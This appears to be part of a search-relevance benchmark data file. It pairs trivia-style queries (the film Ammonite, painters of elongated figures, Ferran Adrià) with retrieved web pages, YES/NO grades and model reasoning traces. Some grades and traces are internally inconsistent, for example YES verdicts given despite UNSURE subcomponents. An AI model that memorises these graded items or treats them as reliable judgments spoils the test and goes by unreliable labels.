                "model_trace": "Query Decomposition:\n1. {fantasy movie}: The document is about a fantasy adventure film -> ([1], SATISFIED)\n2. {centers around a group of hobbits}: The document mentions that the story revolves around Frodo Baggins and his fellow hobbits -> ([1], SATISFIED)\n3. {journey across Middle-earth}: The document describes the journey across Middle-earth to destroy the One Ring -> ([1], SATISFIED)\n4. {destroy an ancient and powerful ring}: The document clearly states that the goal is to destroy the One Ring -> ([1], SATISFIED)\n5. {before it falls into the wrong hands}: The document mentions the threat of Sauron and the urgency to destroy the Ring -> ([1], SATISFIED)\n\nAssessment: The document satisfies all key subcomponents of the query. YES"
            }
        ]
    },
    {
        "query": "What historical drama film tells the story of a young woman in 19th century England who becomes a pioneering fossil hunter and challenges the male-dominated scientific establishment of her time?",
        "grid_pos": [
            1,
            7
        ],
        "grid_pos_str": "Search Query Format: Question, Search Result Type: Video/Movie/TV Show",
        "reasoning_trace": [
            "The answers to the queries are:\n1. \"Big Hero 6\"\n2. \"Life Below Zero\"\n3. \"The Truman Show\" \n4. \"The Lord of the Rings\"\n5. \"Ammonite\""
        ],
        "results": [
            {
                "grade": "YES",
                "title": "Ammonite: A Missed Opportunity",
                "url": "https://geoexpro.com/ammonite-a-missed-opportunity/",
                "published_date": "2022-06-19",
                "text": "June 19, 2022 Mary Anning\u2019s story is fascinating in its own right \u2013 so why make it up?\n\n\u00a9 Lionsgate Films. The film \u2018Ammonite\u2019, described as \u2018loosely inspired by the life of British palaeontologist Mary Anning\u2019 and written and directed by Francis Lee, had its world premiere at the Toronto International Film Festival in 2020. It is beautifully shot and highly atmospheric, with the cold winds coming off the sea on the south coast of England almost felt by the viewer. It also features fantastic performances from the two female leads, Kate Winslet and Saoirse Ronan as Mary Anning and Charlotte Murchison, with support from the veteran actor Gemma Jones as Mary\u2019s mother, quietly mourning the death in infancy of eight of her ten children.\nA Romantic Drama\n Ammonite, described as a \u2018romantic drama\u2019, tells the story of Mary, who spends her life walking under the cliffs of Lyme Regis in all weathers seeking out fossils and other interesting rocks to sell to tourists, and Charlotte, wife of gentleman scientist and aspiring geologist Roderick Murchison. They meet when Charlotte is staying in the town in the hope that sea air will help her recover from depression. Through a number of slightly unlikely circumstances, Charlotte ends up staying with Mary and her mother in their cold and basic cottage on the sea front, where Mary and Charlotte, in between a bit of desultory fossil hunting, embark on a passionate but doomed love affair.\nA film centred on women and their relationships, with very few male actors appearing even fleetingly, is to be celebrated in the modern environment, especially when it is as well acted and produced as this one, and I would recommend viewing it, although with the warning that it does contain some very explicit scenes. My main problem with the film, however, is that Mary Anning is not a fictional character. She is an important, if frequently overlooked, player in the history of geology and there is a much more important true tale to be told here; there is no need to invent a romantic story for Mary A",
                "model_trace": "Query Decomposition:\n1. {historical drama film}: The document discusses a historical drama film -> ([1], SATISFIED)\n2. {story of a young woman in 19th century England}: The document mentions Mary Anning, a woman in 19th century England -> ([1], SATISFIED)\n3. {pioneering fossil hunter}: The document describes Mary Anning as a palaeontologist and fossil hunter -> ([1], SATISFIED)\n4. {challenges the male-dominated scientific establishment}: The document does not explicitly mention challenging the male-dominated scientific establishment -> ([0], UNSURE)\n\nAssessment: The document satisfies all key subcomponents that can be evaluated based on the provided information. Therefore, it is helpful for the user's query. YES"
            },
            {
                "grade": "YES",
                "title": "Ammonite (2020) - IMDb",
                "url": "https://www.imdb.com/title/tt7983894/",
                "published_date": "2020-11-13",
                "text": "The Geological Society of London celebrated it's 100th anniversary of admitting women as Fellows, an honour Mary Anning sadly never received despite the respect she commanded among her male contemporaries as a skilled scientist. She was financially supported through her illness by the Society's Fellows and upon her death with a stained glass window in the church at Lyme Regis and a eulogy written by the Society's then-President, Henry de la Beche that provides no illusions that she was well-liked and respected. Of course, the film doesn't take this angle, instead preferring to falsely portray her as someone who was not taken seriously as a palaeontologist by not being given credit for her discoveries (she was). A Victorian lesbian love story could be good, but this is a fictionalised one based upon a real woman whose love life we have virtually no information on. It is taking such strong liberties with it and that sits uncomfortably with me. It's not an especially interesting story, one which has been done time and time again in other films. I'm not sure what the purpose it is. Gay relationships were frowned upon in Victorian times? It's not really news. It's not adding anything of substance or any new angles. The way Anning overcame class struggle and the expectations of women at the time to become a success is an incredible story, especially as contemporary geoscience is still a largely male science (though it's changing at a glacial rate). There aren't many biopics about scientists full stop (sadly), male or female. One about a Victorian working-class woman is just perfect material for a biopic, and unfortunately this just isn't it. I was very excited about this film and I followed its development for years. However, I wanted a film that I, as a geoscience professional who frequently goes into schools, could show to my young niece and students as an inspiration for them to pursue careers in science. With the focus on adult themes, this clearly isn't going to be the case. Alan Turing got to be gay (with all the",
                "model_trace": "Query Decomposition:\n1. {Historical drama film}: The document is about a film titled \"Ammonite\" -> ([1], SATISFIED)\n2. {Story of a young woman in 19th century England}: The document mentions Mary Anning, a real historical figure from 19th century England -> ([1], SATISFIED)\n3. {Becomes a pioneering fossil hunter}: The document mentions Mary Anning's respect as a skilled scientist and palaeontologist -> ([1], SATISFIED)\n4. {Challenges the male-dominated scientific establishment}: The document discusses how Mary Anning was respected by her male contemporaries and the challenges she faced -> ([1], SATISFIED)\n\nAssessment: The document satisfies all key subcomponents of the query. YES"
            },
            {
                "grade": "YES",
                "title": "Ammonite - Official Trailer",
                "url": "https://www.youtube.com/watch?v=AnDhlrs3XVM&feature=youtu.be",
                "published_date": "2020-08-25",
                "text": "1840s England, acclaimed but overlooked fossil hunter Mary Anning and a young woman sent to convalesce by the sea develop an intense relationship, altering both of their lives forever.\n\nStarring Kate Winslet and Saoirse Ronan\nwith Gemma Jones, James McArdle, Alec Secareanu\nand Fiona Shaw\n\nProduced by Iain Canning, Emile Sherman, Fodhla Cronin O\u2019Reilly\n\nNOVEMBER 13th 2020\n| view_count: 1,242,600 views | short_view_count: 1.2M views | num_likes: 11K | num_subscribers: 78.7K",
                "model_trace": "Query Decomposition:\n1. {historical drama film}: The document is about a historical drama film, \"Ammonite\" -> ([1], SATISFIED)\n2. {young woman in 19th century England}: The film is set in 1840s England and involves a young woman -> ([1], SATISFIED)\n3. {pioneering fossil hunter}: The film tells the story of Mary Anning, who is described as a fossil hunter -> ([1], SATISFIED)\n4. {challenges the male-dominated scientific establishment}: The document does not explicitly mention challenging the male-dominated scientific establishment -> ([0], UNSURE)\n\nAssessment: The document satisfies all the key subcomponents that can be evaluated. YES"
            },
            {
                "grade": "NO",
                "title": "Mary Anning",
                "url": "https://en.wikipedia.org/wiki/Mary_Anning",
                "published_date": null,
                "text": "Mary Anning       Anning with her dog, Tray, painted before 1842; the hill Golden Cap can be seen in the background    Born 21 May 1799   Lyme Regis, Dorset, England     Died 9 March 1847 (aged\u00a047)Lyme Regis, Dorset, England    Resting place St Michael's Church, Lyme Regis 50\u00b043\u203232\u2033N 2\u00b055\u203254\u2033W\ufeff / \ufeff50.725471\u00b0N 2.931701\u00b0W    Occupations     Fossil collector   palaeontologist       Known\u00a0for Fossil hunting   \n Mary Anning (21 May 1799\u00a0\u2013 9 March 1847) was an English fossil collector, dealer, and palaeontologist who became known around the world for the discoveries she made in Jurassic marine fossil beds in the cliffs along the English Channel at Lyme Regis in the county of Dorset in Southwest England. Anning's findings contributed to changes in scientific thinking about prehistoric life and the history of the Earth.\n Anning searched for fossils in the area's Blue Lias and Charmouth Mudstone cliffs, particularly during the winter months when landslides exposed new fossils that had to be collected quickly before they were lost to the sea. Her discoveries included the first correctly identified ichthyosaur skeleton when she was twelve years old; [1]  the first two nearly complete plesiosaur skeletons; the first pterosaur skeleton located outside Germany; and fish fossils. Her observations played a key role in the discovery that coprolites, known as bezoar stones at the time, were fossilised faeces, and she also discovered that belemnite fossils contained fossilised ink sacs like those of modern cephalopods.\n Anning struggled financially for much of her life. As a woman, she was not eligible to join the Geological Society of London and she did not always receive full credit for her scientific contributions. However, her friend, geologist Henry De la Beche, who painted  Duria Antiquior , the first widely circulated pictorial representation of a scene from prehistoric life derived from fossil reconstructions, based it largely on fossils Anning had found and sold prints of it for her benefit. Anning became well known in geo",
                "model_trace": "Query Decomposition:\n1. {historical drama film}: The document does not mention any film -> ([0], UNSATISFIED)\n2. {story of a young woman in 19th century England}: The document is about Mary Anning, a young woman in 19th century England -> ([1], SATISFIED)\n3. {pioneering fossil hunter}: The document clearly states that Mary Anning was a pioneering fossil hunter -> ([1], SATISFIED)\n4. {challenges the male-dominated scientific establishment}: The document mentions that Mary Anning was not eligible to join the Geological Society of London and did not always receive full credit for her contributions, indicating she challenged the male-dominated scientific establishment -> ([1], SATISFIED)\n\nAssessment: The relevant subcomponents are {story of a young woman in 19th century England}, {pioneering fossil hunter}, and {challenges the male-dominated scientific establishment}. All these subcomponents are satisfied. However, the document does not address the key subcomponent {historical drama film}, which is essential for the query. Therefore, the document is not helpful for the user's request. NO."
            },
            {
                "grade": "NO",
                "title": "Remarkable Creatures by Tracy Chevalier",
                "url": "https://www.goodreads.com/book/show/6457081-remarkable-creatures",
                "published_date": null,
                "text": "205 reviews  103 followers         March 20, 2015     Some of my favorite things about Remarkable Creatures:  1) Bathing machines!  2) Fossils, of course.  3) A regency era book about friendship between two women, rather than the marriage of some rehabilitated rake and some nubile. 4) Elizabeth's characterization of people based upon what feature they \"lead\" with - eyes, hair, hands.  5) Fossils! I enjoyed this book a lot more after I came across some information about who Mary Anning really was. At first, I did not realize this was based on the stories of real people and the amazing discoveries of two women inlcuding the first ichthyosaur skeleton correctly identified. Very enjoyable and now I want to go to Lyme Regis with a little hammer and hunt for fossils.         england-ireland-scotland     historical-fiction     occupation-hobby-interest-focus                       1,880 reviews  23k followers         May 8, 2018     I now know more than I ever expected to about fossil-collecting by English women during the Regency period.    This historical novel is somewhat loosely based on several people who actually lived, and either hunted or collected fossils, in England in the early 1800s. It alternates between the viewpoints of Elizabeth Philpot, a genteel spinster in reduced circumstances who moves to Lyme Regis by the sea (a hotbed for fossil-hunters) and discovers a passion for fossils, and Mary Anning, the daughter of a destitute cabinetmaker's widow, who supplements the family income by finding and selling fossils. Despite their differences in age and social status, the two form a friendship based on their mutual fascination with fossils that lasts for many years and survives some ups and downs. I knew that Regency-era society had its fads and fascinations with ancient history, but fossils and the attendant religious controversy were new for me. (How can we believe in animals that are extinct if God never makes mistakes? How can we rationalize dinosaur fossils with the belief that the earth was created only a",
                "model_trace": "Query Decomposition:\n1. {historical drama film}: The document is about a book, not a film -> ([1], UNSATISFIED)\n2. {story of a young woman in 19th century England who becomes a pioneering fossil hunter}: The document describes the story of Mary Anning, a young woman in 19th century England who becomes a pioneering fossil hunter -> ([1], SATISFIED)\n3. {challenges the male-dominated scientific establishment}: The document implies challenges faced by Mary Anning in a male-dominated society but does not explicitly mention challenging the scientific establishment -> ([2], UNSURE)\n\nAssessment: The relevant subcomponents are {historical drama film} and {story of a young woman in 19th century England who becomes a pioneering fossil hunter}. Since the document does not satisfy the {historical drama film} subcomponent, it is not helpful for the user's request. NO."
            },
            {
                "grade": "NO",
                "title": "Prehistoric women were hunters and artists as well ...",
                "url": "https://www.theguardian.com/science/2022/apr/29/prehistoric-women-were-hunters-and-artists-not-just-mothers-book-reveals",
                "published_date": null,
                "text": "From academic works giving women a supporting role to hunter-gather men, to Raquel Welch\u2019s portrayal of a bikini-clad cavewoman in the 1966 film One Million Years BC, the gender division of the stone age is firmly entrenched in public consciousness. While men strode out to spear woolly mammoths, women, as mothers or exploited objects of male desire, sheltered in caves from the violent world, according to an understanding said to be increasingly removed from the latest research. The historians and film-makers behind Lady Sapiens: the Woman in Prehistory, a French book and documentary to be published in the UK in September, say they are now seeking to debunk the simplistic division of roles by highlighting advances in the study of bones, graves, art and ethnography often ignored in the public sphere. \u201cFor a long time, prehistory was written from the male point of view, and when women were mentioned, they were portrayed as helpless, frightened creatures, protected by overly powerful male hunters,\u201d Sophie de Beaune, a professor in pre-history at the Universit\u00e9 Jean-Moulin-Lyon III, writes in the book\u2019s preface. \u201cSince women have begun to enter the ranks of prehistorians, a different picture has gradually emerged.   \u201cThe reader will perhaps be astonished to find that men\u2019s and women\u2019s roles were not so clearcut, and that it was cooperation between all members of the group, regardless of their gender or age, which ensured their survival,\u201d she writes. Today\u2019s cliches, the book suggests, have largely been formed by a lack of interest in the role of women among the 19th-century pioneers of research. It is the imposition of the cultural understandings of that period on the scholarship, and a welter of art ranging from Paul Jamin\u2019s 1888 artwork Dangerous Encounter and A Rape in the Stone Age to Don Chaffey\u2019s One Million Years BC, that \u201cpushes this eroticization to its limit \u2013 embodied by sex symbol Raquel Welch\u201d. Thomas Cirotteau, one of documentary makers behind the book with Jennifer Kerner and \u00c9ric Pincas, said the purpo",
                "model_trace": "[QUERY] What historical drama film tells the story of a young woman in 19th century England who becomes a pioneering fossil hunter and challenges the male-dominated scientific establishment of her time?\n\n[WEBPAGE INFORMATION]\n[TITLE] Prehistoric women were hunters and artists as well ...\n[URL] https://www.theguardian.com/science/2022/apr/29/prehistoric-women-were-hunters-and-artists-not-just-mothers-book-reveals\n[DATE PUBLISHED] None\n[CONTENT] From academic works giving women a supporting role to hunter-gather men, to Raquel Welch\u2019s portrayal of a bikini-clad cavewoman in the 1966 film One Million Years BC, the gender division of the stone age is firmly entrenched in public consciousness. While men strode out to spear woolly mammoths, women, as mothers or exploited objects of male desire, sheltered in caves from the violent world, according to an understanding said to be increasingly removed from the latest research. The historians and film-makers behind Lady Sapiens: the Woman in Prehistory, a French book and documentary to be published in the UK in September, say they are now seeking to debunk the simplistic division of roles by highlighting advances in the study of bones, graves, art and ethnography often ignored in the public sphere. \u201cFor a long time, prehistory was written from the male point of view, and when women were mentioned, they were portrayed as helpless, frightened creatures, protected by overly powerful male hunters,\u201d Sophie de Beaune, a professor in pre-history at the Universit\u00e9 Jean-Moulin-Lyon III, writes in the book\u2019s preface. \u201cSince women have begun to enter the ranks of prehistorians, a different picture has gradually emerged.   \u201cThe reader will perhaps be astonished to find that men\u2019s and women\u2019s roles were not so clearcut, and that it was cooperation between all members of the group, regardless of their gender or age, which ensured their survival,\u201d she writes. Today\u2019s cliches, the book suggests, have largely been formed by a lack of interest in the role of women among the 19th-century pioneers of research. It is the imposition of the cultural understandings of that period on the scholarship, and a welter of art ranging from Paul Jamin\u2019s 1888 artwork Dangerous Encounter and A Rape in the Stone Age to Don Chaffey\u2019s One Million Years BC, that \u201cpushes this eroticization to its limit \u2013 embodied by sex symbol Raquel Welch\u201d. Thomas Cirotteau, one of documentary makers behind the book with Jennifer Kerner and \u00c9ric Pincas, said the purpo\n\nQuery Decomposition:\n1. {Historical drama film}: The document does not mention any historical drama films -> ([0], UNSATISFIED)\n2. {Story of a young woman in 19th century England}: The document does not mention a young woman in 19th century England -> ([0], UNSATISFIED)\n3. {Pioneering fossil hunter}: The document does not mention a pioneering fossil hunter -> ([0], UNSATISFIED)\n4. {Challenges the male-dominated scientific establishment}: The document discusses challenging the male-dominated view of prehistory but does not mention a specific person or film doing so in the context of fossil hunting in 19th century England -> ([0], UNSATISFIED)\n\nAssessment: The document does not satisfy any of the subcomponents relevant to the query. NO."
            }
        ]
    },
    {
        "query": "What famous painter is known for their unique style of portraiture featuring elongated and distorted figures?",
        "grid_pos": [
            1,
            8
        ],
        "grid_pos_str": "Search Query Format: Question, Search Result Type: Person",
        "reasoning_trace": [
            "The answers to these queries are:\n1. El Greco\n2. Ferran Adri\u00e0\n3. Alan Turing\n4. Bob Dylan\n5. Jane Goodall"
        ],
        "results": [
            {
                "grade": "NO",
                "title": "Peter Paul Rubens",
                "url": "https://www.peterpaulrubens.org/",
                "published_date": "2017-01-01",
                "text": "Peter Paul Rubens\n(June 28, 1577 - May 30, 1640)\n Peter Paul Rubens (June 28, 1577 - May 30, 1640) was a prolific seventeenth-century Flemish Baroque painter, and a proponent of an exuberant Baroque style that emphasized movement, color, and sensuality. He is well-known for his Counter-Reformation altarpieces, portraits, landscapes, and history paintings of mythological and allegorical subjects.\nIn addition to running a large studio in Antwerp which produced paintings popular with nobility and art collectors throughout Europe, Rubens was a classically-educated humanist scholar, art collector, and diplomat who was knighted by both Philip IV, king of Spain, and Charles I, king of England.\nPeter Paul Rubens was probably born on June the 28th 1577 in Siegen, Germany. His parents Jan Rubens and Maria Pypelinckx had left the catholic Spanish-dominated city of Antwerp because of their Calvinist sympathies. The family had moved to Cologne with the children. Father Rubens, however, nearly escaped death sentence in Cologne after an affair with the princess of Orange. Mother Rubens managed to have her husband freed and the family accepted to be exiled to Siegen, Westphalia. It was there that the sixth child, Peter Paul, was born.",
                "model_trace": "Query Decomposition:\n1. [famous painter]: The document is about Peter Paul Rubens, a famous painter -> ([1], SATISFIED)\n2. [unique style of portraiture featuring elongated and distorted figures]: The content describes Rubens' style as Baroque, emphasizing movement, color, and sensuality, but does not mention elongated and distorted figures -> ([1], UNSATISFIED)\n\nAssessment: The document satisfies the subcomponent related to being a famous painter but does not satisfy the subcomponent related to the unique style of portraiture featuring elongated and distorted figures. Therefore, the document is not helpful for the user's query. NO."
            },
            {
                "grade": "YES",
                "title": "Amedeo Modigliani - Wikipedia",
                "url": "https://en.wikipedia.org/wiki/Amedeo_Modigliani",
                "published_date": "2002-07-14",
                "text": "Amedeo Modigliani Amedeo Modigliani Born 12 July 1884 Livorno, Kingdom of Italy Died 24 January 1920 (aged 35) Paris, France Nationality Italian Education Accademia di Belle Arti, Florence Known for Painting, sculpture Notable work \n Redheaded Girl in Evening Dress \n Madame Pompadour \n Jeanne H\u00e9buterne in Red Shawl \n Partner Jeanne H\u00e9buterne (1917\u20131920, his death) Children 4, including Jeanne Modigliani \n Amedeo Clemente Modigliani (, Italian: [ame\u02c8d\u025b\u02d0o modi\u028e\u02c8\u028ea\u02d0ni]; 12 July 1884 \u2013 24 January 1920) was an Italian painter and sculptor who worked mainly in France. He is known for portraits and nudes in a modern style characterized by a surreal elongation of faces, necks, and figures that were not received well during his lifetime, but later became much sought-after. Modigliani spent his youth in Italy, where he studied the art of antiquity and the Renaissance. In 1906, he moved to Paris, where he came into contact with such artists as Pablo Picasso and Constantin Br\u00e2ncu\u0219i. By 1912, Modigliani was exhibiting highly stylized sculptures with Cubists of the Section d'Or group at the Salon d'Automne.\n Modigliani's oeuvre includes paintings and drawings. From 1909 to 1914, he devoted himself mainly to sculpture. His main subject was portraits and full figures, both in the images and in the sculptures. Modigliani had little success while alive, but after his death achieved great popularity. He died of tubercular meningitis, at the age of 35, in Paris.\n\nFamily and early life[edit]\n\nModigliani was born into a Sephardic Jewish family in Livorno, Italy. [1] A port city, Livorno had long served as a refuge for those persecuted for their religion, and was home to a large Jewish community. His maternal great-great-grandfather, Solomon Garsin, had immigrated to Livorno in the 18th century as a refugee. [2] \n Modigliani's mother, Eug\u00e9nie Garsin, born and raised in Marseille, was descended from an intellectual, scholarly family of Sephardic ancestry that for generations had lived along the Mediterranean coastline. Fluent in many la",
                "model_trace": "Query Decomposition:\n1. {famous painter}: The document is about Amedeo Modigliani, a well-known painter -> ([1], SATISFIED)\n2. {unique style of portraiture}: The document mentions that Modigliani is known for his unique style of portraiture -> ([1], SATISFIED)\n3. {featuring elongated and distorted figures}: The document specifically states that Modigliani's modern style is characterized by a surreal elongation of faces, necks, and figures -> ([1], SATISFIED)\n\nAssessment: The document clearly satisfies all the key subcomponents of the query. YES."
            },
            {
                "grade": "NO",
                "title": "Caravaggio - Wikipedia",
                "url": "https://en.wikipedia.org/wiki/Caravaggio",
                "published_date": "2001-11-06",
                "text": "Caravaggio Chalk portrait of Caravaggio by Ottavio Leoni, c. 1621. Born Michelangelo Merisi or Amerighi da Caravaggio 29 September 1571 Milan, Duchy of Milan, Spanish Empire [1] Died 18 July 1610 (aged 38) Porto Ercole, State of the Presidi, Kingdom of Naples, Spanish Empire Education Simone Peterzano Known for Painting Notable work See Chronology of works by Caravaggio Movement Baroque Patron(s) Cardinal Francesco Maria del Monte Alof de Wignacourt \n Michelangelo Merisi (Michele Angelo Merigi or Amerighi) da Caravaggio, known as simply Caravaggio (, , Italian: [mike\u02c8land\u0292elo me\u02c8ri\u02d0zi da (k)kara\u02c8vadd\u0292o]; 29 September 1571 [2] \u2013 18 July 1610), was an Italian painter active in Rome for most of his artistic life. During the final four years of his life he moved between Naples, Malta, and Sicily until his death. His paintings have been characterized by art critics as combining a realistic observation of the human state, both physical and emotional, with a dramatic use of lighting, which had a formative influence on Baroque painting. [3] [4] [5] \n Caravaggio employed close physical observation with a dramatic use of chiaroscuro that came to be known as tenebrism. He made the technique a dominant stylistic element, transfixing subjects in bright shafts of light and darkening shadows. Caravaggio vividly expressed crucial moments and scenes, often featuring violent struggles, torture, and death. He worked rapidly with live models, preferring to forgo drawings and work directly onto the canvas. His inspiring effect on the new Baroque style that emerged from Mannerism was profound. His influence can be seen directly or indirectly in the work of Peter Paul Rubens, Jusepe de Ribera, Gian Lorenzo Bernini, and Rembrandt. Artists heavily under his influence were called the \"Caravaggisti\" (or \"Caravagesques\"), as well as tenebrists or tenebrosi (\"shadowists\").\n Caravaggio trained as a painter in Milan before moving to Rome when he was in his twenties. He developed a considerable name as an artist and as a violent, touchy and pro",
                "model_trace": "Query Decomposition:\n1. {famous painter}: The document is about Caravaggio, who is a famous painter -> ([1], SATISFIED)\n2. {known for unique style of portraiture}: The document mentions Caravaggio's unique style, characterized by dramatic use of chiaroscuro and realistic observation of human states -> ([1], SATISFIED)\n3. {featuring elongated and distorted figures}: The document does not mention Caravaggio being known for elongated and distorted figures; instead, it highlights his realistic observation and dramatic use of lighting -> ([1], UNSATISFIED)\n\nAssessment: The relevant subcomponents are {famous painter} and {known for unique style of portraiture}, which are satisfied. However, the specific style of \"elongated and distorted figures\" is not mentioned and is critical to the query. NO."
            },
            {
                "grade": "YES",
                "title": "Jacopo da Pontormo Paintings, Bio, Ideas",
                "url": "https://www.theartstory.org/artist/pontormo-jacopo-da/",
                "published_date": null,
                "text": "Summary of Jacopo da Pontormo Pontormo was one of the most radical individuals in the history of Italian Renaissance art. Recognized primarily as a religious painter, he received widespread praise too for a number of perceptive portraits. Rubbing shoulders with some of the great masters of the High Renaissance, including his friend Michelangelo, Pontormo (unlike his esteemed compatriots) looked towards the art of northern Europe where he found inspiration in the engravings and woodcuts of German and Dutch art. The hallmarks of his mature Mannerist style were evident in the spiritual, rather than physical, presence of his figures; in his vivid use of color; his fluid contoured lines; and in his ambiguous approach to pictorial space. During the last decade of his life Pontormo became increasingly reclusive and troubled, leading him to refuse the company even of the great Bronzino, who had been like an adopted son to him.  Accomplishments   Pontormo's early work demonstrates his mastery of the principles of control and compositional distribution that characterized the Renaissance style. Yet even early on, when Pontormo carried forward the chiaroscuro and sfumato effects he took from his early master Leonardo da Vinci, Pontormo's elongated \"floating\" figures hinted at a new dawning for Italian art that would see it move towards a less naturalistic, more expressive, style. Leaving behind the compositional disciplines of his former masters, Pontormo introduced a rhythmic quality to Italian art that took its influence from Northern Europe and specifically Albrecht D\u00c3\u00bcrer's woodcuts and Lucas van Leyden's engravings. The advance towards a full Mannerist style was further enhanced by Pontormo's refusal to situate his figures in naturalistic settings. His swirling, serpentine, figures occupy the whole of his frame bringing a heighted psychological aspect to his painting. In addition to his religious paintings, Pontormo proved a highly accomplished and adept portraitist. His sophisticated depictions, most notably those he m",
                "model_trace": "Query Decomposition:\n1. [famous painter]: The document is about Jacopo da Pontormo, a recognized painter in the history of Italian Renaissance art -> ([1], SATISFIED)\n2. [known for unique style of portraiture]: The document mentions that Pontormo was recognized for his perceptive portraits and sophisticated depictions -> ([1], SATISFIED)\n3. [featuring elongated and distorted figures]: The document describes Pontormo's elongated \"floating\" figures and his swirling, serpentine figures, which indicates a unique style of elongated and distorted figures -> ([1], SATISFIED)\n\nAssessment: The document satisfies all key subcomponents. YES."
            },
            {
                "grade": "NO",
                "title": "8 famous artists who hid self-portraits in their paintings",
                "url": "https://www.cnn.com/style/article/artists-self-portraits-artsy/index.html",
                "published_date": null,
                "text": "This article was published in partnership with Artsy, the global platform for discovering and collecting art. The original article can be seen here. From the 15th century to our current day, the Renaissance maxim holds true: \"Every painter paints himself.\" Beyond straightforward self-portraits, artists through the ages have left special signatures on their canvases, covertly inserting their own visages into their works in unusual and inventive ways. This sense of self-importance for the artist arose in the Renaissance with humanist values that prized individualism and creativity. During that era, two trends for hidden self-portraits emerged in Europe. In Italy, artists tended to include their portraits on the right side of paintings or altarpieces, with their eyes looking knowingly out at the viewer. Northern Renaissance artists, however, liked to toy with dense and precise symbolism that showed off their technical skills. The self-portraits they worked into their oil paintings are usually found distorted in reflective surfaces, like mirrors. The traditions begun in this artistic golden age remained cogent through the modern era and have persisted to this day. Here, we spot eight self-portraits artists concealed in some of their most famous works.   The Arnolfini Portrait by Jan van Eyck (1434)      Jan van Eyck via Wikimedia Commons  One of the most enigmatic paintings in Western art history is also one of the most fun to look at. Jan van Eyck's sumptuous wedding portrait revels in painstakingly rendered tokens of wealth and other symbolic details.    Jan van Eyck via Wikimedia Commons  Much has been made of the small convex mirror on the wall behind the newlyweds, which shows two additional figures entering the room. The bridegroom raises his arm in an apparent greeting, a gesture that is returned by one of the men in the mirror. Immediately above it is Van Eyck's flowery signature: \"Jan van Eyck was here.\" Does the writing suggest that the mirror men are the artist and his assistant visiting his subjects? It's",
                "model_trace": "Query Decomposition:\n1. {famous painter}: The document mentions several famous painters -> ([1], SATISFIED)\n2. {unique style of portraiture}: The document discusses self-portraits and unique ways artists have hidden their self-portraits in their work -> ([1], UNSURE)\n3. {elongated and distorted figures}: The document does not mention elongated and distorted figures -> ([0], UNSURE)\n\nAssessment: The relevant subcomponents are {famous painter} and {unique style of portraiture}. While the document discusses famous painters and unique portraiture styles, it does not specifically address the style of elongated and distorted figures. Thus, it does not fully satisfy the user's query. NO."
            },
            {
                "grade": "YES",
                "title": "Distortion in figurative art",
                "url": "https://painterskeys.com/distortion/",
                "published_date": null,
                "text": "Dear Artist,\nYesterday, Edward Vincent of New South Wales, Australia, wrote, \u201cI\u2019m attracted to a style of painting based on exaggerating elements of the human form. My problem is differentiating between artistic exaggeration of elements (head, eyes, limbs, etc.) and turning it into caricature. Where is the boundary? The Australian painter Brett Whiteley was known and respected for this effect. Where does serious artistic insight cross over to comical distortion?\u201d\n     \u201cSelf-Portrait in the Studio\u201d oil, collage and hair on canvas by Brett Whiteley \nThanks, Edward. There are folks who think Whiteley\u2019s work slipped long ago into ridiculous caricature, but his international sales in the millions might refute that notion. Caricature is in the eye of the beholder.\nIt\u2019s a good question. If art is what is to be seen, rather than what is seen, and standard ideas of taste are of little concern, then any amount of distortion should be okay. Realists might argue distortion is a safe harbour for folks who know they couldn\u2019t get it right if they tried. On the other hand, getting it right is no trouble for many of us, but we still prefer to redesign things as we see fit. Doubters might be suspicious of the truth in that last sentence.\n     \u201cPortrait of Wendy\u201d oil, material, pencil, charcoal, pen and ink on paper by Brett Whiteley \nThe question is \u2014 How does distortion suit my purpose? Are distorted bodies and contorted faces going to advance the composition or the creative statement, or is it just a freakish, secondhand device to titillate the artistically confused?\nMinor modification has always been with us. A good example is the lengthening of fingers and necks in the work of John Singer Sargent. Another is the Alfred Munnings convention of lengthening horses\u2019 legs. The purpose of these two and many others is simply to add a bit of elegance. When the purpose is simply shock and awe, one might consider running up the red flags.\nI\u2019m a believer in moderation in all things, including moderation. This means weighing in on the side",
                "model_trace": "Query Decomposition:\n1. {famous painter}: The document mentions several painters who are known for their unique styles -> ([1], SATISFIED)\n2. {known for their unique style of portraiture}: The document discusses painters known for unique styles of portraiture, including Brett Whiteley and John Singer Sargent -> ([1], SATISFIED)\n3. {featuring elongated and distorted figures}: The document specifically mentions Brett Whiteley and John Singer Sargent in the context of elongation and distortion in their art -> ([1], SATISFIED)\n\nAssessment: The document clearly discusses painters known for their unique styles of portraiture featuring elongated and distorted figures, satisfying all relevant subcomponents. YES"
            }
        ]
    },
    {
        "query": "Which renowned chef is celebrated for pioneering molecular gastronomy and their innovative culinary techniques?",
        "grid_pos": [
            1,
            8
        ],
        "grid_pos_str": "Search Query Format: Question, Search Result Type: Person",
        "reasoning_trace": [
            "The answers to these queries are:\n1. El Greco\n2. Ferran Adri\u00e0\n3. Alan Turing\n4. Bob Dylan\n5. Jane Goodall"
        ],
        "results": [
            {
                "grade": "YES",
                "title": "Ferran Adria",
                "url": "http://www.molecularrecipes.com/tag/ferran-adria/",
                "published_date": "2014-05-02",
                "text": "Want to Have Dinner with Chef Ferran Adria?\n\nThis year, How to Spend It marks their 20th\u2019s anniversary. To celebrate they will be partnering with renowned Che ... CONTINUE\n\nEdible Film \u2013 Create amazing \u201cSee-Through\u201d recipes\n\nAre you looking for the perfect product from which to create beautiful disappearing ravioli, clear canapes and edib ... CONTINUE\n\nPremium Kit Ultimate Kit\n\nFerran Adri\u00e0\u2019s 5-City North American Book Tour Is Here!\n\nFerran Adri\u00e0\u2019s long-awaited book tour is kicking off in March of 2014. Cocktail receptions, book signings, talks ... CONTINUE\n\nEl Bulli\u2019s Planning a Comeback, and You Could Eat for Free!\n\nMolecular gastronomy Chef Ferran Adri\u00e0 has plans to open the doors to El Bulli1846 in the spring of 2016. The new ... CONTINUE\n\nMango and Black Olive Discs\n\nChef Ferran Adria delights us with a great pairing of mango and black olive in interesting textures. Using what he ... CONTINUE\n\nUltimate Kit\n\nMagic of Ferran Adri\u00e0 and elBulli Revealed in New York Exhibit!\n\nFerran Adri\u00e0 has forever changed the face of molecular gastronomy and cooking in general. Now his unusual creative ... CONTINUE\n\nBlack Sesame Microwave Sponge Cake and Miso\n\nDid you know that you can make the fluffiest sponge cake in just 40 seconds in your microwave? Thanks to molecular ... CONTINUE\n\nFerran Adria Records the Blueprint to elBulli\u2019s Success\n\nThough elBulli\u2019s doors have been closed for more than two years, what happened inside those walls will live on fo ... CONTINUE\n\nSoy Sauce and Wasabi Sesame Crystal\n\nAnother great application of edible films! Ultra-thin, crispy and translucent tuile infused with 